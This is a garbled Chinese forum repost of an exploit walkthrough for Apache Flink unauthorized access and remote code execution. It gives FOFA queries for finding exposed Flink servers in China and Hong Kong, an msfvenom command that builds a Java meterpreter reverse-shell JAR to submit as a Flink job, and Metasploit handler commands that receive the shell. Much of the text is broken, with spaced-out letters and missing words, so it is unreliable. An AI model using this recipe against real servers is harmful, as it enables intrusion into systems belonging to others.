[183] 2021-01-24_ApacheFlink未授权访问+远程代码执行

文档创建者:s7ckTeam
浏览次数:8
最后更新:2025-01-16
2021-01-24_ApacheFlink未授权访问+远程代码执行 A p a c h e   F l i n k   访 + B i r d m a n - o n e   A d m i n   T e a m   2 0 2 1 - 0 1 - 2 4 , A p a c h e   F l i n k J a r < =   1 . 9 . 1 ( )   V e r s i o n :   1 . 1 0 . 1 F O F A 使   A p a c h e   F l i n k   1 K + 1 便 A p a c h e   F l i n k   访 访 + F O F A   a p p = " A p a c h e - F l i n k "   & &   c o u n t r y = " C N " a p p = " A p a c h e - F l i n k "   & &   c o u n t r y = " C N "   & &   r e g i o n = " H K "
  2 M S F     j a r   3   A d d     j a r   S u b m i t   N e w   J o b m s f v e n o m   - p   j a v a / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = * * . * * * . 5 9 . 6 1     L P O R T = 4 4 4 4   - f   j a r   >   t e s t o n e . j a r
4 5   s u b m i t m s f 5   >   u s e   e x p l o i t / m u l t i / h a n d l e r [ * ]   U s i n g   c o n f i g u r e d   p a y l o a d   g e n e r i c / s h e l l _ r e v e r s e _ t c p m s f 5   e x p l o i t ( m u l t i / h a n d l e r )   >   s e t   p a y l o a d   j a v a / s h e l l / r e v e r s e _ t c p   p a y l o a d   = >   j a v a / s h e l l / r e v e r s e _ t c p m s f 5   e x p l o i t ( m u l t i / h a n d l e r )   >   s e t   l h o s t   X X . X X X . X X . 6 1 l h o s t   = >   X X . X X X . X X . 6 1 m s f 5   e x p l o i t ( m u l t i / h a n d l e r )   >   s e t   l p o r t   4 4 4 4 l p o r t   = >   4 4 4 4 m s f 5   e x p l o i t ( m u l t i / h a n d l e r )   >   r u n
6 s h e l l A p a c h e   F l i n k   I P I P 访 访
-   E N D   -
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则